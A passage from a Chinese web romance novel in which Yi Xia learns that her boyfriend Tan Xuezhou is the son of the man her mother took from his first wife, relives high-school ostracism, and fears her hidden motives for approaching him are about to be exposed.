宜月心在那头,声音很轻:“小夏,妈妈想跟你再聊聊。” 宜夏沉默片刻:“如果是要干涉我的感情……妈,我觉得,没有必要。” “你不知道……”宜月心那边语气有些艰涩,“妈妈觉得,有些事你可能不知道。” “不管什么事,跟两个人要在一起,有什么关系?” “你太年轻了,小夏,很多事情,你想不到会有多少困难。” 要说宜夏,网络言情小说也没少看,经典爱情故事也没少读。 爱情故事必须要有阻力才好看,罗密欧与朱丽叶、梁山伯与祝英台,甚至孔雀东南飞,这些都是因为一重重世俗阻力,才能成为经典。 可是普通人生活中,哪有那么多阻力,哪有那么多冲突元素? 无非就是家里不同意。 如果谈雪昼家里实在不同意他们在一起,看不起她,宜夏也不是不能理解。 但是,他家里能着急给他安排和于思程相亲,就说明他们家根本不看重家世,也很大概率根本不会阻拦他们在一起。 毕竟,以他的家世,于思程家里那点儿身价,根本只是零头。 阻碍还没有出现,就开始杞人忧天,想象未来会遇到的阻碍和困难,宜夏不是这种性格。 她不想跟宜月心多说,敷衍道:“我还有别的事,妈,我挂了,你不用再打电话过来聊这个事了,我自己知道怎么办。” “——等等!”宜月心说,“我现在,在民宿门外。小夏,妈妈,面对面跟你讲这件事。” 宜夏很厌烦:“没什么好说的。” 然而门口已经传来了敲门声。 宜夏也不能真把宜月心关在外面,只好走出院子开门。 宜月心额头全是汗水,脸色也有些发白。 宜夏真的不明白,自己不就是谈个恋爱,宜月心怎么会担心成这样? 退一万步,他家里真的不同意要他们分手,他家里那么有钱,指不定她还能分到几百万几千万分手费呢,毕竟偶像剧不都是那么演的吗?“给你一千万,离开我儿子。” 哪怕没有分手费,她也不亏,谈雪昼是那么活色生香的大帅哥。 宜夏沉默着把宜月心引进客厅,为她倒了一杯热茶。 宜月心没有喝,而是坐在沙发上,左右打量客厅的陈设。 很明显充满个人风格的室内装修,大片丝绒般的墨绿色,密实丰沛的绿植,还有到处乱放哪里都是的书。很像独居的女生一个人安静舒服的住处。 可是又有些微妙的其他人生活的痕迹。 譬如不远处深棕色实木的藤编K椅,椅背上搭着一件宽大的薄羊毛休闲西装外套,袖子垂坠感很好,看版型,像是男式的。 茶几边缘落着一颗落单的万宝龙袖扣,冰川蓝的颜色。 放书的架子上随手搁了一副双梁的飞行员墨镜,也是男款。 这些东西风格都很统一。 ……是客人的痕迹吗? 上次来,她就已经注意到了客厅有其他人生活的痕迹。那时宜夏说是客人。 其实,如果不说是客人,更容易被认为是男主人。 宜月心看向宜夏,嘴唇动了动:“谈……他呢?是也住这里吧?你们是因为,民宿出租认识的?” 宜夏平心静气点头。 宜月心低声说:“去你房间里说吧。” 宜夏打算最后再跟宜月心把事情说清楚。 实在没有必要一直纠结在这些事情上。 进了宜夏的房间,宜月心反手把门锁上,坐回宜夏面前:“小夏,妈妈其实不是想干涉你的感情。妈妈也知道……没有立场,没有资格,对你指手画脚。” 宜夏垂着眼帘,没吭声。 “如果你是跟其他人在一起,谈恋爱,妈妈一个字都不会多说。只是……谈、谈雪昼,他不可以。” 宜夏不解:“为什么?” 宜月心深呼吸。 看着宜夏的眼睛,两只手压在宜夏的肩膀上,母女径直对视,宜月心表情有些不忍心,又有些难堪:“因为,他是你全叔叔的儿子。” 宜夏怔住了。 她呆在原地,表情一片空白:“……什么叫,全叔叔的儿子?全叔叔不是只有琪琪一个女儿吗?所以他是……他是……”宜夏看向宜月心通红的眼眶,不敢置信,“妈,你在开玩笑吧。这怎么可能……他姓谈,不姓全。而且,他刚才,看见你,表情都没变,他根本不认识你。” 宜月心侧过脸,没忍心说话。 宜夏站起来,冷着脸跟宜月心说:“妈,就算你不愿意我们在一起,也没必要拿这种话来骗我。我还有别的事,最后一班船也快要离港了,你先走吧。” 宜月心表情惨淡看着她:“小夏,妈妈没有骗你。” 宜夏斩钉截铁说:“我不信。” “小夏……我知道,你一时之间,很难接受。但你们……幸好还没在一起太久。”宜月心看着她,“小夏,妈妈对不起你。” 宜夏努力抑制着潮湿的眼眶,奋力摇头:“我不信。” 宜月心揽住她,声音带上了哭腔:“对不起,小夏。对不起。” 宜夏伸手推她:“妈,你快走吧,快赶不上最后一班船了。” 宜月心却拽住她的胳膊:“小夏,你今天跟妈妈离开,跟妈妈回江流。” “我不去。” “你……你冷静几天,你冷静下来,把这件事,好好想想,好吗?” 宜夏很抗拒,脑子一片空白,根本不知道自己是怎么稀里糊涂地被宜月心拉着,带出了房间。 精神恍惚,出了小院子,被宜月心塞进车里,一路茫然飘到了码头。 随后又坐上离岛的船。 宜月心给她在酒店里开了个房间,陪她坐了一会儿。 宜夏这时候,才逐渐从那种空茫中清醒过来,口齿清晰地说:“妈,你走吧,让我一个人待一会儿。” 宜月心又坐了一会儿才不放心地离开。 宜夏把自己摔回酒店柔软的大床上,闭上了眼睛。 电光石火之间,在全光毅书房里看见的那张照片突然闪进她脑海。 轻金色的头发,高挺的山根,深陷的眼窝。酷酷的,英俊的,像昂贵洋娃娃一样漂亮的混血男孩子。那张脸孔……原来是小时候的谈雪昼。 谈雪昼是全叔叔的儿子。 是全光毅和第一任原配妻子的孩子。 是被她妈妈破坏了家庭的原配的孩子。 ……甚至,从某种意义上来讲,能算得上她异父异母的亲哥哥。 这太荒谬了。 太巧合了。 太离谱了。 宜夏把自己埋在枕头下,捧着脑袋,不自觉地发抖。 怎么会这样? 她本来……就一直在骗他,一直在利用他,一直在目的不纯地接近他。 可是她现在认真了,她是想和他谈恋爱的。 他怎么能是,全叔叔的儿子? 或者说,她怎么能是,破坏了他家庭的小三的女儿? 怎么会这样? 她为自己感到羞耻。 她其实是和妈妈一样的人。 妈妈年轻时,为了挤进上流社会,不择手段,破坏别人的家庭。 她接近他,也是不择手段,想利用他的好感,来得到电影的投资,想阻碍于思程的意图。 宜夏突然想起高中的时候。 她初中是在江流市下属的县城上的。成绩拔尖,被招收进了江流中学。 江流中学的同学家境大都非常优越,非富即贵,但起初同学们对她并没有恶意,也没有看不起她家境贫困,甚至,有女孩子主动跟她做朋友。 后来,发生了一件事——江流中学班级根据成绩滚动,宜夏期中考试考得很好,滚进了全年级最好的实验班。 实验班有个女孩子,叫关馨,是众星捧月的小公主,著名女演员、女主持关圆的女儿,长得漂亮,擅长文艺,成绩也很好,全班人都很喜欢她。 宜夏跟她接触不多,称得上井水不犯河水。 期中考试之后,要开一次家长会。 那次家长会,外婆生病了,没人替宜夏来开,不知道为什么,很多年联系很少的宜月心却来替宜夏出席了。 家长会后,关馨就开始针对宜夏。 起初是小打小闹的孤立,后来演变成关馨煽动所有人有志一同地孤立和霸凌。没有短视频里拉到厕所扇耳光的剧情,有的只是,故意漏掉收她的作业,故意给她安排最难最累的值日,春游时故意落下她一个,临时的放假安排没人通知她…… 宜夏没觉得是不能忍受的痛苦,但确实,这伤害绵长潮湿,时隔多年依然如同风湿一样隐隐作痛。 后来宜夏知道了被孤立的原因。 ——关馨的继父,全光毅,出轨了,在和关圆闹离婚。 出轨对象是宜夏的妈妈宜月心。 宜月心肚子里怀了一个孩子,验过DNA,是男孩,再次有了上位的资本,纠缠多年,终于要上位成功了。 不过那个孩子流产了,后面又怀了一个,又流了。 直到三年后,宜夏高中毕业那段时间,宜月心才成功生下琪琪。 因此,关圆足足和全光毅闹了三年,宜夏高考后才终于离婚。 闹了三年,宜夏就承受了关馨三年的孤立。 其实全面孤立没多久,关于宜夏身世的流言就彻底被曝光了。大导演、娱乐圈、出轨、小三、逼宫上位,充满戏剧元素,全年级几乎所有人都知道了宜夏,知道了她是小三的女儿。 关馨漂亮大方,成绩人缘家境都好,是公认的女神校花。而宜夏,是小三的女儿,是从县城来的乡里人,是性格孤僻不会来事的阴暗小老鼠。 所有人都觉得孤立宜夏很正常。 没人愿意靠近她。 ——除了后来转学来的于璟。 因为于璟,宜夏遭受了更严重的孤立。 原因是关馨喜欢上了于璟,而于璟,却对宜夏示好,主动接近她。 每个夜晚,宜夏都带着薄薄一层泪膜入睡,她会想明明她什么都没做错,为什么要面对这些? 她又不是她妈妈,破坏别人家庭的也不是她。 但有时候,她又会想起关馨。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有一次,她躲在卫生间,听见关馨在外面哭,在跟全光毅打电话,哭着说爸爸我是你的女儿啊,虽然我不是你亲生的,可是我把你当成我的爸爸。你为什么不要我了? 关馨的痛苦是真实的。 还有,宜夏偶尔也会想起,外婆提过的全光毅第一任的妻子。 那个素未谋面的,被她妈妈破坏了家庭的原配,和她的孩子。 那个孩子才三岁的时候,也是因为宜月心的缘故,经历了父母的离婚。 他们又做错了什么,他们不也很无辜吗? 如果是她,她会恨爸爸的,也会恨那个小三。 她是小三的女儿。 耻辱感如同蛇的鳞片,爬满她的全身。 随着她的长大成人,那些鳞片渐渐褪去,她渐渐可以把自己和妈妈分开,逐渐与自己和解。 可是今天,那些鳞片突然全都卷土重来。 她对谈雪昼本来就已经够恶劣了…… 她怎么还能有这种,有原罪的身份呢? 他知道了……会怎么样? 他……他不会嫌弃她的。 可是她嫌弃自己。 他是那样好的人,她本来就配不上他。 宜夏恍惚着,脑子炸疼,静静凝视着天花板,眼前一阵晕眩。 搁在床头的手机突然震动了一声。 宜夏手脚发软,捞起手机看了一眼,却是谈雪昼发来的消息。 【去哪里了?】 宜夏咬着牙慢慢打字,又一行一行删掉,用被子捂住脸。 谈雪昼: 【?】 【刚刚我妈妈来了,我去码头送她,她一定要我跟她去江流一趟。】 【我现在在江流呢。】 谈雪昼: 【怎么不提前跟我说?】 宜夏忍不住弯起唇角: 【你是谁呀,我做什么去哪里要跟你报备吗?】 谈雪昼: 【是你男朋友】 宜夏盯着那行“男朋友”,心脏忽然重重一疼,鼻尖也酸了。 刚想打字过去,那边发来了视频通话邀请。 宜夏本来想按拒绝,却不小心按到了接通。 手机屏幕上出现谈雪昼的脸孔,他凑近屏幕,表情很快变得凝重严肃:“你眼睛怎么了?你在哭?怎么了宜夏?你现在在哪?” 宜夏胡乱说:“在酒店。刚刚看了一个特别感人的电影……那个女主,好惨,我没忍住……” “这么容易哭。我还以为有人欺负你。” “要是有人欺负我,你要怎么办?” “你让我怎么办,我就怎么办。” “那有人欺负你了,你要怎么办?” “看是哪种,不过我呢,欺负我的人还没出生……除了你吧。” 宜夏笑得比哭还难看。 在我不知道的时候,你已经被我最亲的人伤害了。可是我不知道,对不起,我不知道。 谈雪昼又凑近了屏幕。 他还是没给头发补色,所以头顶露出来大片的轻金色。纤长的睫毛凑近的时候几乎根根分明,清晰可数,扇动着仿佛蝴蝶的翅膀,他说:“电影有那么悲伤?” “很悲惨,和《活着》一样……” 谈雪昼说:“别看了。我呢就勉为其难让你欣赏一下我美好的容貌和才华,消除你的悲伤。” 宜夏破涕为笑,掩饰性地揉眼睛。 “对了,你刚出门的时候电脑放桌上了,一直没关机,刚刚突然在响。” “怎么了?” “我看了一下,可能是驱动出问题了。应该没什么大事,我帮你重新装一下驱动。” “好。” 她看着视频那边谈雪昼走到桌边,倾身按亮了她的电脑。 他不是那种随便看别人隐私的人,光明正大开着视频,才处理她的电脑问题。 宜夏说:“锁屏密码是我生日。” 谈雪昼把手机搁在一旁的支架上,还在拍着,输入密码点进主页面,飞快调出一大堆需要调整的驱动。 宜夏在这头看着,几乎不自觉地微笑起来。屏幕里是他的侧脸,线条锋利,挺直的鼻梁显得格外英气,薄薄的唇瓣,落在她的脸颊旁边是很柔软的一种触觉。 驱动很快装好,但是电脑的响声仍然没有解决。 谈雪昼蹙着眉,检查了一下电脑的问题:“可能是中木马了。我看一下。” 他扫描了一下内存盘里的文件,又点进C盘看个人文档有没有什么异样。 微信视频里,宜夏看见,他的动作忽然顿住了。 他盯着屏幕看了许久,终于下手点开一个文件。 宜夏看不清他到底看见了什么点开了什么,小声问:“电脑坏了?” 他没出声。 沉默蔓延着,从这头蔓延到那头。 ——文件缓慢打开,word加载项一项一项跳出来。时间在这一刻仿佛被拉得很长,长到宜夏能清晰地听见视频对面谈雪昼衣料摩挲的轻微响声。他起身倒了杯水,玻璃杯磕在桌面上,声响有些闷,仿佛冰块撞上了厚玻璃。 打开的那个文件标题是《攻略TXZ作战计划3.0》。 46. 春日 文件依然在加载中。 加载完毕,第一页显示出来时,谈雪昼却并没有扫里面的内容,而是直接点了右上角关闭。 宜夏有些不安,轻声问:“怎么了?电脑很难处理吗?” 谈雪昼撩起眼皮,看了眼摄像头里宜夏哭得乱七八糟的脸孔,沉默片刻,漫不经心说:“没,已经弄好了。刚刚不小心点到病毒了。你电脑装的什么乱七八糟的软件,弹窗怎么这么多?” 宜夏小声说:“对不起,我没注意——” “你道什么歉?” 宜夏愣了下。 “宜夏,你情绪有点不对。” 宜夏下意识挤出笑脸:“就是那个电影,太悲伤了,有点缓不过来……”顿了下,她说,“这两天我在江流有点事,你……你自己在岛上吧。你、你不是马上要去金葵花电影节吗?是什么时候走?” “后天吧。”谈雪昼看着镜头,安静片刻,“不要哭了,宜夏,不管发生了什么事,你都可以告诉我。” 宜夏沉默片刻,绽放出灿烂明亮的笑容:“真的只是看电影,没发生什么事。”为了表示什么事都没发生,她开始慢吞吞地替他想离岛参加电影节要带的行李。 两个人接着聊了一会儿,挂断后,宜夏浑身脱力地倒在床上。 眼泪浸湿了袖口轻薄的雪纺牛奶纱,温热的眼泪渗透到了皮肤上,湿润黏腻。她坐起来,仰靠着椅背呆呆地看着天花板,头脑依然一片混乱。 眼泪不自觉又滚了出来,顺着眼角流到鬓角,湿了一大片头发。 她用发圈胡乱把头发扎起来,回到床上躺下。 真希望可以直接睡过去,醒来回到一天前,她什么都不知道的时候。 ……不,如果能回到四个月前就更好了,她还没决定接近他。 她大可以把他拒之门外,不做他这一档租房生意。于思程看上谁,跟谁相亲,跟谁结婚,与她何干呢?至于电影的事,慢慢来,为什么非要想着接近他得到他的投资呢?东拼西凑把房子卖了把所有积蓄取出来,凑不够五百万,一百万能凑出来,也能拍一个勉强合格的东西。或者实在实在在国内混不下去了,去欧洲,去美国,甚至去非洲,哪里不能吃上电影这口饭呢? 不是…… 都什么时候了,宜夏,你怎么还在想电影的事呢? 可是那想什么呢? 想你的哥哥吗? 别不知廉耻地叫他哥哥了,你怎么配? ——几个小时过去了。 她还是不能接受,她和他这种荒谬的关系。 也没办法想象,他如果真的知道了她的身世,他会怎么看她。 少年时那些隐隐的鄙夷目光,好像把少年时的她剥光,赤身裸||体站在冰天雪地里。每一片雪花落在皮肤上,都好像针扎一般疼痛。 她没办法想象,那样的轻视鄙薄的目光,也出现在谈雪昼眼睛里;更无法想象,也许不仅仅是鄙薄和轻视,更是痛恨——毕竟,其他人是旁观者,而他才是家庭真正被破坏的受害者。 她浑身发抖,筋疲力竭,可是睁着眼睛怎么也睡不着。 之后怎么办? 怎么面对他? 一时之间千头万绪,宜夏脑子跟要炸开一样疼。 从晚上一直捱到天亮,她才稍微合了一阵眼。 梦境凌乱。 她已经很久没梦见外婆了,外婆久违地出现在梦里。 她在梦里变成了小女孩,穿鹅黄的棉布裙子,头上被外婆扎了两个漂亮的辫子,辫子上还别着嫩黄的蜻蜓发卡。她扑进外婆怀里,只是哭只是哭,外婆用粗糙的手擦干她的眼泪,柔声问:“阿宜怎么了?怎么哭得这么伤心?” 她乱七八糟擦着眼泪,哽咽说:“我好像做错事了……婆婆,我不是好人,我做了坏事……” “没关系,只要改正了,就是好孩子。” “改正不了,我改正不了……” 外婆替她擦眼泪的手掌温热,却在下一瞬化作斑斑光点消散在空中。 她擦着眼泪走在空旷的雪地里,抱紧了肩膀。 很远处出现了一幢亮着灯火的小木屋。 她冻得哆嗦,飞奔过去,悄悄抹开窗户上的积雪,窥见了房子里的景象。一个面目模糊的女人怀里抱着一个漂亮的女孩子,是关馨。女人温温柔柔地安慰她:“没关系的,爸爸很快会回来的。” 关馨说:“他不会回来了,妈妈,他不要我们了。” 女人簌簌落着眼泪,咬着牙说:“不会的,爸爸不会抛弃我们的。” 宜夏呆呆看着,不知看了多久。 冻得浑身僵硬,仰倒在雪上,几乎冻毙在冰天雪地里。 画面又是一转。 有人把她从雪地里拉了起来,喂她喝温暖的汤。灯光影影绰绰,她被雪花冰封的睫毛艰难睁开,看见他被烛光映红的半张侧脸。 她问:“谈雪昼,你会讨厌我吗?” 他回过头,眉目疏淡,片刻后回答她:“不会。” 可是他分明说的是:“不会原谅你。” - 宜夏昏昏沉沉待在酒店里,昼夜不分,茫茫然不知时光流逝。 到第二天晚上,她才勉强起来,自暴自弃点了个垃圾食品外卖。可是看着垃圾食品,她没有一点胃口。肚子很饿,她勉强塞了几片面包,捞过一天一夜没充电已经关机的手机,呆呆看了一眼,找出充电线。 等了好一会儿,手机才能再次开机。 锁屏跳出来无数条微信消息将她淹没,她不知所措,点进去看,却是被新拉进了一个微信群里,没来得及屏蔽群消息,刷了几千条消息上去。 是被徐佳雨,拉进了一个小群,讨论同学聚会的事情。 宜夏一半灵魂在半空中,漠然凝视着这一切,对什么事情都无动于衷;另一半灵魂却感到可笑。 高中时他们所有人有志一同的孤立,难道,会随着长大成人一笔勾销吗? 她一言不发退出了那个莫名被拉进去的群,甚至没有看里面到底有哪些人。 酒店房间隔音异常好,四周安静甚至死寂,一丝声音都没有。 在这样的环境里,人不免感觉到孤独、悲伤、难过。 宜夏擦了把脸,凝视镜子里自己脸孔的时候,突然想起最喜欢的小说,《飘》。 女主角斯嘉丽有一句名言,一直激励着她。 Tomorrowisanotherday。 明天又是新的一天。 不管怎么样。 始终要面对,无法逃避。 洗完脸,宜夏简单收拾了一下,出门。 心情特别特别不好的时候,她很喜欢吃火锅,吃很辣的那种火锅,最好辣出眼泪来。眼泪可以蒸发掉所有的不快乐。 她在酒店附近开了导航,随便找了一家人气不错的火锅店。 火锅店开在商场次顶层,她进去之后,坐在大堂角落里,径直点了最辣的锅底,点了很多蔬菜,自己一个人慢慢涮。 边涮,边想,究竟怎么办。 怎么办。 谈雪昼知道了她妈妈是谁,会有什么反应? 如果他们要在一起,谈雪昼最终一定会知道。 怎么办? 想着想着,眼前雾气升腾,宜夏受不住,眨掉了一滴水珠。 旁边大包厢的门突然打开。 有人从里面走出来接电话。 宜夏埋着头,没有抬眼。 从大包厢走出来的那个人接完电话稍一转头,就看见了宜夏,朝她走过来,停在她对面。 宜夏迟钝地抬起头,对上徐佳雨的脸。 徐佳雨晃着手机:“宜夏,你也看到群里消息了?既然都来了,怎么不进去,怎么坐在大堂吃啊?” 宜夏愣了下,没反应过来。 徐佳雨已经伸手拉她了:“走走走,走进去,一起吃。”顺手拉过旁边路过的服务员,“你好给我们再加把椅子,加一副碗筷——” 宜夏也明白过来了,是碰巧,遇见高中同学在这里聚餐了。宜夏挣开她的手,轻声说:“我已经吃完了,我马上要回去了。” “不是,宜夏,你这样就不给面子了啊,人都来了,进去跟大家伙打个招呼也是应该的吧?大家刚刚还在讨论你呢。” 正巧包厢里又有人出来,看见徐佳雨正跟人纠缠,走过来叫她。 一走近,认出了宜夏,对方表情有些惊愕:“宜夏?你怎么在这里?” 宜夏转头,对上来人的脸孔。 来人一身裁剪简约优雅的黑色A字裙,小腿纤细笔直,脚上踩着JimmyChoo的黑色滴跟高跟鞋,妆容精致闪亮,乍一看,简直跟女明星一样闪闪发光。 正是已经多年未见的关馨。 高中毕业后,宜夏努力忽略所有高中同学的动向,但关馨的名字依然不停地传到她的耳朵里。关馨继承了母亲的美貌,虽然没有进娱乐圈做演员,但也不差,现在在主持省台最重要的新闻节目,是圈内知名美女主持人。 关馨脸上笑容得体:“好久不见啊宜夏。” 她妆容精致,笑容温和,周身没有一处不妥帖,没有一处不完美。 而宜夏此时此刻却眼眶通红,头发凌乱,身上的衣服也不过一件松垮的T恤,落魄可怜。 如此鲜明的对比。 宜夏对上她不经意的打量视线,很浅地扯了下唇角:“不好意思,我真的有别的事。我先走了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 徐佳雨还想继续说什么,关馨警告地撇她一眼,她立刻讪讪收声。 关馨温柔说:“那下次有机会再聚啊。毕业很多年了,咱们老同学,当初是有一些误会,不过现在大家都已经——” 宜夏打断:“其实我觉得没有什么误会。” 她拎起旁边的包,转身就走。 关馨和徐佳雨站在原地,徐佳雨低声抱怨:“她怎么这么不给你面子啊馨馨——” 关馨冷淡哼了一声,没搭理她,而是问:“于璟什么时候到?” “应该快到了吧,刚在群里说已经到十字路口了。”徐佳雨尝试挽住关馨的手,“咱们先进去吧。” 进了包厢,一落座,徐佳雨不免提起:“刚刚我跟馨馨在外面碰见宜夏了。” 在座的有男有女,总共十多位,全是留在江流工作的高中同班同学,平时也都在互通有无,只是,宜夏从来没在这种场合出现过。 一个长卷发的女生问:“宜夏也在江流啊?她现在在干什么?” “我上次陪我家艺人去面试,碰见她了。”徐佳雨想了下,“她好像还在娱乐圈,不过是给人做助理吧。” 她尽量控制着语气和表情,不至于流露出太多轻蔑。 在座众人对视几眼,关馨开口了:“毕竟是同班的同学,我不忍心看咱们同学混这么差。你们看看有没有什么工作机会,下次介绍给她?” 徐佳雨立刻捧她:“馨馨你就是太善良了。她那样的……” 关馨摆手:“都过去了。不提了,其实我也有错。” “你真是人美心善的仙女。” 在座一个戴劳力士绿水鬼表的男生突然说:“我记得璟哥家不就是开娱乐公司的吗?哈哈,到时候让璟哥给宜夏介绍工作呗,正好他俩不是有过一段么。” 关馨脸色立刻变得难看。 徐佳雨则对那个男生怒目而视,阴阳怪气:“于璟跟她那算一段么?不是闹着玩的?不是你们玩游戏打赌?于璟喜欢的明明是我们——” 关馨轻喝:“行了。佳雨,你帮忙去催催菜吧。” - 宜夏情绪很差劲,从火锅店出去,找到了电梯。 电梯到一楼的时候,她正在发呆走神,忘了出去,便跟着人群下降到了负一楼。 茫茫然出了电梯,才意识到自己到了地下车库里。 然而电梯已经升回去了。 她转过身,打算找楼梯上一楼。 这时,身后突然有人叫她的名字。 “阿宜!” 会这么叫她的人屈指可数,身体代替大脑率先做了反应,宜夏假装没有听到,头也不回地朝前走去。 背后的人三两步追上她,拽住她的手臂。 宜夏有些受刺激,转过头定定直视对方的眼睛:“放手。” 对方却不松手,问:“为什么不同意我的好友申请?” 宜夏直视着他的眼睛:“于璟,你有意思吗?你想我再报一次警吗?” 于璟脸色顿时一变。 宜夏挣开他束缚着自己的手臂,头也不回地往楼梯方向走。 于璟脚步顿在她背后,突然说:“阿宜,你不原谅我没关系,不愿意跟我在一起也没关系,但你不能喜欢其他人。” 宜夏没有回头,声音漠然:“我的事,跟你有关系吗?” “当然有关系,我从来没有答应你跟我分手,我们还是男女朋友。” 宜夏对这个人的偏执感到荒谬可笑。 不提七八年未见面,只说当初那件事发生之后,他都被她送进警察局拘留了,他竟然还能觉得他们是恋爱关系? 脑子里到底在想什么? 是有精神障碍吗? 宜夏懒得跟神经病计较,径直往前走。 于璟在她身后,紧接着说:“我知道你现在跟谁在一起。你知道谈雪昼家里的情况吗?你们根本不能在一起。” 宜夏仿佛被一盆冰水兜头浇下,浑身冰封,僵在了原地。 于璟三两步追上来。 宜夏张了张口,有些艰涩:“你知道什么?” “你的事情,我都知道。”于璟说,“他跟全导的关系,你应该知道吧?如果你不知道,我也可以告诉你——” 宜夏打断:“与你无关。” “我说过,与我有关。你觉得他知道你跟全导的关系之后,会怎么看你?他家里呢?” 宜夏咬紧牙关,不闪不避地看着于璟:“我相信他。” “是吗?”于璟冷笑了一声,“那你觉得他要是知道了你接近他其实是因为想报复思程,他会怎么想?他还会相信你吗?” 宜夏脸色霎时变得惨白,冷汗涔涔从额头渗出来。 47. 春日 - 宜夏恍恍惚惚地躺在床上。 天花板上的图案光怪陆离,她一阵头晕目眩,失重般的高烧感侵蚀了全身。 刚刚,地下停车场里,她不敢置信地问于璟:“你到底知道什么?” 于璟说:“我说了,我什么都知道。” “于思程……” 于璟打断:“我不知道她对你做了那些事。” “你……” “阿宜,已经过去七八年了,你生我的气,我可以理解,这么多年了,你气该消了。或者,你实在生气,你可以打我骂我,我都不会反抗,就像当初,你要报警,拘留我,我不是也没有反抗吗?但是你生完气,现在该原谅我了。你原谅我,我们还跟以前上学的时候一样,于思程她抢你的东西,我帮你拿回去,怎么样?” 宜夏没听清他在说什么,嘴唇动了动,声音很轻:“你知不知道于思程做了什么?” 于璟说:“我在国外,她……伤害你的时候,我不知道。但我现在已经知道了,她让人封杀你,我已经说过她了。” “……”宜夏无言看着他,片刻后,轻声说,“于璟,你根本什么都不知道。” 于璟试图伸手拉她的手,宜夏躲开。 于璟看着她,定定说:“我知道,我知道你是因为被思程封杀,所以想接近谈雪昼,借他的人脉借他的势力再回到电影圈。我知道你是因为恨思程伤害了你,想报复思程,才想利用谈雪昼,破坏思程和他的相亲,这些我都知道,宜夏,你的目的太容易看清了。” 宜夏深呼吸:“那又怎么样呢?” 于璟说:“势力我也有,你想要什么,我都可以给你。于思程的事,我可以让她给你道歉。你还想要什么?我都可以做到。所以,你……原谅我……” 宜夏闭了下眼睛,斩钉截铁:“不。” “宜夏。”于璟突然笑了,“那你以为,谈雪昼知道你是为了报复思程才跟他在一起的,知道你妈是破坏他家庭的小三,知道一切都是你的利用和算计,你以为你们还能在一起吗?” “你觉得,他是会相信你清清白白不知道他的家世背景,还是认为你是蓄意接近刻意高攀,认为你和你妈一样不择手段?” 宜夏大脑突然一片空白。 于璟后面还说了什么,她却是一个字都没听见,只是疾步朝外走去,走着走着,变成了凌乱的奔跑,几乎喘不上气。 ……知道一切都是你的利用和算计。 知道你妈是破坏他家庭的小三。 知道一切。 宜夏知道自己一直在做错事。可是总是心怀侥幸,向天祈祷谈雪昼大度宽容,只要她已经有了真心,就能轻易原谅她。 一件错事没能了结,又来一件她根本无力左右改变的原罪。 也许……于璟其实说的是对的,她其实根本就配不上他。 本来就不该在一起。 - 金葵花电影节在北京举办。 谈雪昼从江流飞到北京,一路舟车劳顿。开幕式他要发言,之后几天的展映他也看了不少独立电影。 大部分水准吧。 只能说是自娱自乐,自视甚高,孤芳自赏,敝帚自珍。 但也有一些很有才华天分的电影出现,谈雪昼认识了几个新导演。 闭幕式那天有颁奖礼,许多受邀的演员明星都会出席参加。有两个女明星通过各种途径接触到他这里,旁敲侧击打听他有没有女伴、要跟谁一起走红毯,他还没回应,两个女明星的团队已经在网上打起来了,打得不可开交。 到颁奖典礼当天,谈雪昼跟电影节今年的主席一起露面,只稍稍在镜头前出现了不到三十秒,很快进了内场。 他的位置在第一排。 刚坐下,就有演员装作不经意地过来攀谈,打听他正在筹备的项目。送走两波演员之后,他终于坐下了,低头看了眼手机。 宜夏这几天一直没有主动找他说话。 不至于刚谈上恋爱就进入老夫老妻冷淡期了吧? 谈雪昼不知道她怎么回事,凝视着置顶的聊天框片刻,正要关掉手机,微信上突然跳出来一条新消息。 是于思程发来的。 【谈导你也在内场?】 【我有件事,需要当面跟你聊。】 谈雪昼第一时间没回她。 但她很快发来了下一条。 【跟宜夏有关。】 谈雪昼坐直了身体。 - 电影节颁奖典礼结束之后还有酒会。 谈雪昼跟几个导演聊了一阵,提前离场。 人还没走出大厅,忽然被人背后叫住。 “谈导!” 谈雪昼转过头。 于思程一身得体的宝蓝色晚礼服裙站在台阶上,手上拎着最佳原创剧本的水晶奖杯,笑盈盈看着他。 夜风吹起谈雪昼的额发。 想起刚刚微信上说,要当面聊,谈雪昼问:“有什么事吗?你跟宜夏认识?” “我跟她之前合作过。”于思程言笑晏晏,“谈老师,我们换个地方说话吧。我还有一些东西想给你看。” 十分钟后。 两人找了家露天的咖啡厅坐下。没有寒暄,于思程径直把一个平板递给了谈雪昼,屏幕上,是一段经过处理的录音,配合模糊的监控录像。 谈雪昼抬起头,看向于思程:“这是什么?” “你点开听一下,就知道了。” 谈雪昼说:“我们都在娱乐圈里,眼见不一定为实,耳听不一定为真,于小姐你想必知道。” “谈老师,你是不敢听吗?” 谈雪昼冷淡看着她:“我不知道你有什么目的,我已经告诉过你,家里从来安排不了我的事,我跟谁在一起,以后会和谁结婚,家里没办法干涉。所以,于小姐,你不用再浪费时间在我身上了,我们不可能。” “其实这只是一段宜夏说话的录音而已。”于思程说,“雪昼,我没有任何恶意。只是觉得,你有权利知道真相。” 谈雪昼坐直,居高临下看着她,眼锋锐利:“我想,我的事与你无关。” 于思程垂下头,突然自己伸手过来点开了视频上的播放键。 经过处理、去除了噪音杂音的声音格外清晰。 - 宜夏坐在回清塘岛的船上,摇摇晃晃,她被晃得有些难受。 那天,跟于璟撞见之后,她回来想了很多。 她确凿地知道,她做了错事,她应该认错。 她也知道,她确实,不该跟他在一起。 可是她不敢面对他,甚至,连微信都不敢打开看。 坐在船上,差点被晃到呕吐,手机收到了一条新短信,来自一个陌生号码。 【看看微博热搜】 宜夏知道这样没头没尾的消息,绝对是于璟发的。 她不想听从他的指挥,但还是鬼使神差点进了微博。 船上信号不好,加载了一会儿,才看见热搜榜单。 一个词条跳进眼里。 #谈雪昼于思程# @娱乐百晓鱼:金葵花电影节后台Sunny和谈导相谈甚欢气氛融洽,听说两个人有望合作,Sunny会搭档谈导成为娱乐圈最新的一对黄金搭档吗?谈导的下一个饼《牺牲者》,据说Sunny要参与编剧哦!Sunny挑战自我,你们觉得Sunny会成功吗?[照片][照片][豆瓣电影词条截图] 宜夏脑子嗡了一声。 于思程怎么会也在这个电影节? 怎么会碰见谈雪昼? 她该不会,跟谈雪昼说什么东西吧? 正心慌意乱,手机一条新短信跳了出来。 【阿宜,你的事情,思程已经全都告诉谈雪昼了。】 【谈雪昼现在什么都知道了。】 宜夏喉咙好像堵住了,咽不下去,吐不出来,一阵强烈的心悸胸闷,让她不由地大口呼吸。她竭尽全力维持平静,努力克制住呕吐的冲动。 下一条消息又出现了。 【其实】 